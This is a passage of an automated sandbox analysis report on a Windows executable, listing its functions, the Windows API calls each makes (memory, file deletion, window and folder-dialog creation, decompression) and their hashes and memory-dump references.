Part of subcall function 00000001400121C0: GetLastError.KERNEL32 ref: 00000001400121C4
Part of subcall function 00000001400121C0: TlsGetValue.KERNEL32 ref: 00000001400121D4
Part of subcall function 00000001400121C0: SetLastError.KERNEL32 ref: 00000001400121F1

Part of subcall function 0000000140012210: TlsGetValue.KERNEL32 ref: 0000000140012223
Part of subcall function 0000000140012210: HeapAlloc.KERNEL32 ref: 0000000140012266

HeapDestroy.KERNEL32 ref: 000000014000124C
ExitProcess.KERNEL32 ref: 0000000140001258

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID: Heap$Alloc$Free$CreateErrorExceptionHandlerLastValueVectoredmemset$CommonControlsDestroyExitInitInitializeProcessRemove
String ID:
API String ID: 1207063833-0
Opcode ID: 06dbeff3fd86c6695b84df31992dbf02651ab7d441abcdbe23a8bedf592c97f1
Instruction ID: 5ef5c56730dbad915fac233b77092dd37bc53bc4ec3343fa221c1b372e2f6746
Opcode Fuzzy Hash: 06dbeff3fd86c6695b84df31992dbf02651ab7d441abcdbe23a8bedf592c97f1
Instruction Fuzzy Hash: 9D510AF0A11A4081FA03F7A3F8527E926559B9D7D0F808119BF1D1B3F3DD3A86598B22

Function 0000000140002930 Relevance: 3.0, APIs: 2, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000001400123E0: TlsGetValue.KERNEL32 ref: 00000001400123F8

RemoveDirectoryW.KERNEL32(00000000,?,0000000140003010), ref: 000000014000299C
RemoveDirectoryW.KERNEL32(?,0000000140003010), ref: 00000001400029A8

Part of subcall function 0000000140007170: WaitForSingleObject.KERNEL32 ref: 0000000140007187

Part of subcall function 000000014000720C: TerminateThread.KERNEL32 ref: 0000000140007223
Part of subcall function 000000014000720C: EnterCriticalSection.KERNEL32 ref: 0000000140007230

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID: DirectoryRemove$CriticalEnterObjectSectionSingleTerminateThreadValueWait
String ID:
API String ID: 547990026-0
Opcode ID: de809ab9685b3f463e7d0b476c7a816dcb7d80807795b0b8c6412b9b34da734e
Instruction ID: 7a41e47de86a43ff34abb2becfbad555fd020f9bfb046cc2ed969e3c0c855493
Opcode Fuzzy Hash: de809ab9685b3f463e7d0b476c7a816dcb7d80807795b0b8c6412b9b34da734e
Instruction Fuzzy Hash: 0F01FFF5509B01E5F923BB63BC02BDA6B61E74E3E0F409405BB89131B3DE3DD9849610

Function 000000014000C4D0 Relevance: 3.0, APIs: 2, Instructions: 20
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RemoveVectoredExceptionHandler.KERNEL32 ref: 000000014000C8A5
AddVectoredExceptionHandler.KERNEL32 ref: 000000014000C8C0

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID: ExceptionHandlerVectored$Remove
String ID:
API String ID: 3670940754-0
Opcode ID: 24e0dcc2aecd05812467741a67881873fe67c89a035702fa94287bcbf95b7463
Instruction ID: 54ed52b0d94e107c171475cce83a86a7777a808cb3853d4771323e3d57a36066
Opcode Fuzzy Hash: 24e0dcc2aecd05812467741a67881873fe67c89a035702fa94287bcbf95b7463
Instruction Fuzzy Hash: 8AF0ED7061370485FE5BDB93B8987F472A0AB4C7C0F184029BB49076719F3C88A48348

Function 000000014000DA6C Relevance: 3.0, APIs: 2, Instructions: 19
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFileAttributesW.KERNEL32 ref: 000000014000DA8C
DeleteFileW.KERNEL32 ref: 000000014000DA95

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID: File$AttributesDelete
String ID:
API String ID: 2910425767-0
Opcode ID: 55319c824811060fb78973d35cd1766170822acc88010ad74a6f5b99716599dc
Instruction ID: adf2a79140fabccb03c20fd21f07aa3af446659453137af282c5310bbe8ffc9f
Opcode Fuzzy Hash: 55319c824811060fb78973d35cd1766170822acc88010ad74a6f5b99716599dc
Instruction Fuzzy Hash: 48E05BB471910195FB6BD7A778153F521419F8D7D1F184121AB42071B0EF3D44C55222

Function 0000000140012060 Relevance: 3.0, APIs: 2, Instructions: 11memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNEL32 ref: 000000014001206E
TlsAlloc.KERNEL32 ref: 000000014001207B

Part of subcall function 0000000140012BF0: HeapAlloc.KERNEL32 ref: 0000000140012C03
Part of subcall function 0000000140012BF0: HeapAlloc.KERNEL32 ref: 0000000140012C1D
Part of subcall function 0000000140012BF0: TlsSetValue.KERNEL32 ref: 0000000140012C50

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID: AllocHeap$CreateValue
String ID:
API String ID: 493873155-0
Opcode ID: 9e0d5e764e4f7f0553988baf76ecb42ee58d508d85325be61ca51fd0dfb33207
Instruction ID: 66307e28580f649ba8418ae6b9c958ace7f1b69875393c61862d084d03b91818
Opcode Fuzzy Hash: 9e0d5e764e4f7f0553988baf76ecb42ee58d508d85325be61ca51fd0dfb33207
Instruction Fuzzy Hash: 9ED0C939A1175092EB46AB72AC5A3E922A0F75C3C1F901819B70907775DF7E81956A00

Function 00000001400120A0 Relevance: 3.0, APIs: 2, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

HeapDestroy.KERNEL32 ref: 00000001400120AB
TlsFree.KERNEL32 ref: 00000001400120B7

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID: DestroyFreeHeap
String ID:
API String ID: 3293292866-0
Opcode ID: fbac162b21188d979bef22f7e680530c08c33df644155045fadef908a37ca857
Instruction ID: 71a10d3d5b3131d437c50284ad1bfb95f0c128dd24e11de8e9b8b88d768efc2d
Opcode Fuzzy Hash: fbac162b21188d979bef22f7e680530c08c33df644155045fadef908a37ca857
Instruction Fuzzy Hash: 4CC04C34611400D2E606EB13EC953A42362B79C7C5F801414E70E1B671CE394955E700

Function 0000000140011D30 Relevance: 2.6, APIs: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0000000140011EF4: HeapFree.KERNEL32 ref: 0000000140011F4D

HeapAlloc.KERNEL32 ref: 0000000140011D82
memset.MSVCRT ref: 0000000140011DB6

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID: Heap$AllocFreememset
String ID:
API String ID: 3063399779-0
Opcode ID: edd241adf8553052784530922556135fb4408ba6f5c1699abdea0ec7c528a08c
Instruction ID: 5c5c97092251ccb6e51d21bc2c296289ab600fd53c4e4fe069e69402a2a58e68
Opcode Fuzzy Hash: edd241adf8553052784530922556135fb4408ba6f5c1699abdea0ec7c528a08c
Instruction Fuzzy Hash: F7213B32601B5086EA1ADB53BC41799A6A8FBC8FD0F498025AF584BB66DE38C852C340

Function 00000001400126D0 Relevance: 2.6, APIs: 2, Instructions: 50memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 00000001400126E2
HeapReAlloc.KERNEL32 ref: 0000000140012762

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID: AllocHeapValue
String ID:
API String ID: 2362848668-0
Opcode ID: 5469319e057a9dc06414a52f1e9995086a4e4d267debc5f29e971f3f59de7243
Instruction ID: d5031950f6f24f379c2142eebe898701a91e7a03f91a2b9bee16bac6c279ab43
Opcode Fuzzy Hash: 5469319e057a9dc06414a52f1e9995086a4e4d267debc5f29e971f3f59de7243
Instruction Fuzzy Hash: 2D219676609B44C6CB20CF5AE49025AB7A0F7CCBA8F144216EB8D43B78DF79C651CB40

Function 000000014000DD30 Relevance: 2.5, APIs: 2, Instructions: 33memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32 ref: 000000014000DD88
CloseHandle.KERNEL32 ref: 000000014000DD91

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID: CloseFreeHandleHeap
String ID:
API String ID: 1642312469-0
Opcode ID: 9545ea4844ef45e69c2d13a7e6758b9fd96cb3dc2a279fbef2982152c74e1bd8
Instruction ID: 5f93da8337f86b39695cad05c5aa1bbbcf0731d39a623fe836b1511b3ba38e21
Opcode Fuzzy Hash: 9545ea4844ef45e69c2d13a7e6758b9fd96cb3dc2a279fbef2982152c74e1bd8
Instruction Fuzzy Hash: AD01FB71614A4081EA56EBA7F5543E96391ABCDBE0F445216BB2E4B7F6DE38C4808740

Function 000000014000DDC0 Relevance: 1.5, APIs: 1, Instructions: 24fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000000014000DDED

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 286ead757777a38e56b81a59e831c417c9f8bfd861d199e35aced7c4af5c72c7
Instruction ID: 85eb21683fd68773ec3f68e7974a7ba45b0d300be2a951898864618d3eded784
Opcode Fuzzy Hash: 286ead757777a38e56b81a59e831c417c9f8bfd861d199e35aced7c4af5c72c7
Instruction Fuzzy Hash: D4F030B6624694CBCB10DF39E00166977B0F349B48F200416EF4847764DB36C992CF10

Function 000000014000C45C Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

SetEnvironmentVariableW.KERNEL32 ref: 000000014000C476

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID: EnvironmentVariable
String ID:
API String ID: 1431749950-0
Opcode ID: f36f728fb68e9c030c92917883890652b287511953764533778c77d950d1811c
Instruction ID: ab6ea35cc4c4ca181117cfceb55a371778b923cb2c6d718499f93cc637994782
Opcode Fuzzy Hash: f36f728fb68e9c030c92917883890652b287511953764533778c77d950d1811c
Instruction Fuzzy Hash: 3BC08CA0B1370082FC0FD30BAC943E022E16F0D3C1EC04129AA0C0B338EB3D80944700

Function 0000000140010FFC Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

TlsFree.KERNEL32 ref: 0000000140011019

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID: Free
String ID:
API String ID: 3978063606-0
Opcode ID: b403f4cd7e6b1ea5231d56a542ea7710078fdd6c3183311bb8828c9ff7a2dcca
Instruction ID: 3be53cbf4efc602c07d04e61f546686734bccd281855bf9d316eb8d3f4bb89d6
Opcode Fuzzy Hash: b403f4cd7e6b1ea5231d56a542ea7710078fdd6c3183311bb8828c9ff7a2dcca
Instruction Fuzzy Hash: E3D0E97091558096F66BA747EC857E422A2B7AC3C5F500419E3050B1B28ABE49DDEA15

Function 000000014000DC88 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNEL32 ref: 000000014000DC91

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: 93ac6205523c289b50a33b5b006d9a2b969cc6c5ca2cd3404325313acfcde68d
Instruction ID: d26b75307fbf4d2f65b3bf59e092d1c76b80437de534da0d48005b48f8adbafa
Opcode Fuzzy Hash: 93ac6205523c289b50a33b5b006d9a2b969cc6c5ca2cd3404325313acfcde68d
Instruction Fuzzy Hash: 74C09B74663002C1FA6A936328A97E451905B0C391F504511F7064117089BD14975530

Function 000000014000C980 Relevance: 1.5, APIs: 1, Instructions: 8memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNEL32 ref: 000000014000C98E

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 3010fbf55b21657f3d2da30d78e3fc06337a299998e6cc7e6108e39cc3db3a27
Instruction ID: 2c080862c33f0b7fb519294060e944d109da0d65108c87cfa11e07f441f421b0
Opcode Fuzzy Hash: 3010fbf55b21657f3d2da30d78e3fc06337a299998e6cc7e6108e39cc3db3a27
Instruction Fuzzy Hash: 40C02B34712690C2E3492323AC033991090F34C3C0FD02018F60102770CE3D80A70B00

Function 000000014000C6B0 Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

RemoveVectoredExceptionHandler.KERNEL32 ref: 000000014000C6C0

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID: ExceptionHandlerRemoveVectored
String ID:
API String ID: 1340492425-0
Opcode ID: d65e708e3fd015015f13c97e564679718939e1a537f1569a86aba6eef632a387
Instruction ID: 43e8ab96d0ef540813763e0684213002212cef3b8ee59004a75f8fb70944dace
Opcode Fuzzy Hash: d65e708e3fd015015f13c97e564679718939e1a537f1569a86aba6eef632a387
Instruction Fuzzy Hash: 30C08C78B03B0085FA4AEB03B8883A422606B8C7C1F800008E60E037328E3C04A54780

Function 0000000140012520 Relevance: 1.3, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 000000014001252A

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: c164aa80badfc177248d89438e49745db99a56b8fb9d29675fc464102b6282a0
Instruction ID: b586a9c78aaa43fddf3ec091a8dff657c7d1e7c92e3b3169bdbbaf5832d2cb3a
Opcode Fuzzy Hash: c164aa80badfc177248d89438e49745db99a56b8fb9d29675fc464102b6282a0
Instruction Fuzzy Hash: ACD06C36614B84C3CA249B06E85135973A0F788B88F900215EA8D0B734CF3DC222DB00

Non-executed Functions

Function 000000014000B758 Relevance: 72.0, APIs: 35, Strings: 6, Instructions: 272windowmemoryregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 000000014000B5D8: wcslen.MSVCRT ref: 000000014000B5EA
Part of subcall function 000000014000B5D8: HeapAlloc.KERNEL32 ref: 000000014000B600

GetStockObject.GDI32 ref: 000000014000B7B6
LoadIconW.USER32 ref: 000000014000B7F2
LoadCursorW.USER32 ref: 000000014000B803
RegisterClassExW.USER32 ref: 000000014000B82D
IsWindowEnabled.USER32 ref: 000000014000B859
EnableWindow.USER32 ref: 000000014000B86C
GetSystemMetrics.USER32 ref: 000000014000B88B
GetSystemMetrics.USER32 ref: 000000014000B89B
CreateWindowExW.USER32 ref: 000000014000B8F0
SetWindowLongPtrW.USER32 ref: 000000014000B90E
CreateWindowExW.USER32 ref: 000000014000B95E
SendMessageW.USER32 ref: 000000014000B97C
CreateWindowExW.USER32 ref: 000000014000B9D9
SendMessageW.USER32 ref: 000000014000B9FA
SetFocus.USER32 ref: 000000014000BA07
SendMessageW.USER32 ref: 000000014000BA22
wcslen.MSVCRT ref: 000000014000BA2B
wcslen.MSVCRT ref: 000000014000BA36
SendMessageW.USER32 ref: 000000014000BA4D
CreateWindowExW.USER32 ref: 000000014000BAA9
SendMessageW.USER32 ref: 000000014000BAC8
CreateAcceleratorTableW.USER32 ref: 000000014000BAED
SetForegroundWindow.USER32 ref: 000000014000BAF9
BringWindowToTop.USER32 ref: 000000014000BB02
GetMessageW.USER32 ref: 000000014000BB16
TranslateAcceleratorW.USER32 ref: 000000014000BB2A
TranslateMessage.USER32 ref: 000000014000BB38
DispatchMessageW.USER32 ref: 000000014000BB42
DestroyAcceleratorTable.USER32 ref: 000000014000BB59
wcslen.MSVCRT ref: 000000014000BB68
wcscpy.MSVCRT ref: 000000014000BB7E
HeapFree.KERNEL32 ref: 000000014000BB90
HeapFree.KERNEL32 ref: 000000014000BBB5
HeapFree.KERNEL32 ref: 000000014000BBCC
HeapFree.KERNEL32 ref: 000000014000BBE3

Strings

P, xrefs: 000000014000BA7B
BUTTON, xrefs: 000000014000BA8A
n, xrefs: 000000014000BAA1
EDIT, xrefs: 000000014000B9BF
STATIC, xrefs: 000000014000B944
C, xrefs: 000000014000BA99

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID: Window$Message$CreateHeapSend$Freewcslen$Accelerator$LoadMetricsSystemTableTranslate$AllocBringClassCursorDestroyDispatchEnableEnabledFocusForegroundIconLongObjectRegisterStockwcscpy
String ID: BUTTON$C$EDIT$P$STATIC$n
API String ID: 9748049-1690119102
Opcode ID: c01de26334065d18653497f5b45086f7b5809085fdd55da687512dab041c8858
Instruction ID: f11a45e4f50ece19de517c67b98e9e797584e7b20c87343cc1d5b6865565d8d0
Opcode Fuzzy Hash: c01de26334065d18653497f5b45086f7b5809085fdd55da687512dab041c8858
Instruction Fuzzy Hash: 4DD134B5605B4086EB12DF62F8447AA77A5FB8CBC8F444129EB4A47B79DF7DC4098B00

Function 0000000140013021 Relevance: 7.9, APIs: 1, Strings: 4, Instructions: 381COMMON

Download Yara Rule

Strings

unknown compression method, xrefs: 0000000140012F79
header crc mismatch, xrefs: 000000014001348B
unknown header flags set, xrefs: 000000014001305E
, xrefs: 00000001400130EB

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID:
String ID: $header crc mismatch$unknown compression method$unknown header flags set
API String ID: 0-4074041902
Opcode ID: 63d14d99d44cc3d14528aba0519c32bd687ffcf0a398d873a188d18be175c855
Instruction ID: dac418b812a3de41c7c7b5072b67fa498c356b49e4a588b682982c80ed946ec6
Opcode Fuzzy Hash: 63d14d99d44cc3d14528aba0519c32bd687ffcf0a398d873a188d18be175c855
Instruction Fuzzy Hash: 4DF19C726007508BEB268F1AC48CBAE3BE6F7487C8F064519EF8A4B7A4DB76C555C740

Function 000000014000BC94 Relevance: 24.6, APIs: 10, Strings: 4, Instructions: 115libraryloaderCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 000000014000BCDB
memset.MSVCRT ref: 000000014000BCEC
LoadLibraryW.KERNEL32 ref: 000000014000BCFB
GetProcAddress.KERNEL32 ref: 000000014000BD1C
GetProcAddress.KERNEL32 ref: 000000014000BD2F
wcsncpy.MSVCRT ref: 000000014000BD53
wcslen.MSVCRT ref: 000000014000BD66
CoTaskMemFree.OLE32 ref: 000000014000BDF2
wcslen.MSVCRT ref: 000000014000BDFB
FreeLibrary.KERNEL32 ref: 000000014000BE18

Strings

SHGetPathFromIDListW, xrefs: 000000014000BD22
SHBrowseForFolderW, xrefs: 000000014000BD12
P, xrefs: 000000014000BD9C
SHELL32.DLL, xrefs: 000000014000BCF1

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID: AddressFreeLibraryProcwcslen$InitializeLoadTaskmemsetwcsncpy
String ID: P$SHBrowseForFolderW$SHELL32.DLL$SHGetPathFromIDListW
API String ID: 217932011-4219398408
Opcode ID: 39b50941fe3cb3f8533201b67178e799832ef7c6affe56ff9212f5b17596b26d
Instruction ID: 4189c401249be1c18680961fdd5f00b64fd9ff4c66db3fab09ee0cba437a9a89
Opcode Fuzzy Hash: 39b50941fe3cb3f8533201b67178e799832ef7c6affe56ff9212f5b17596b26d
Instruction Fuzzy Hash: 6C418F72211B4086EB16EF12F8447EA73A4F78CBC8F544125EB49477A5DF39C55AC700

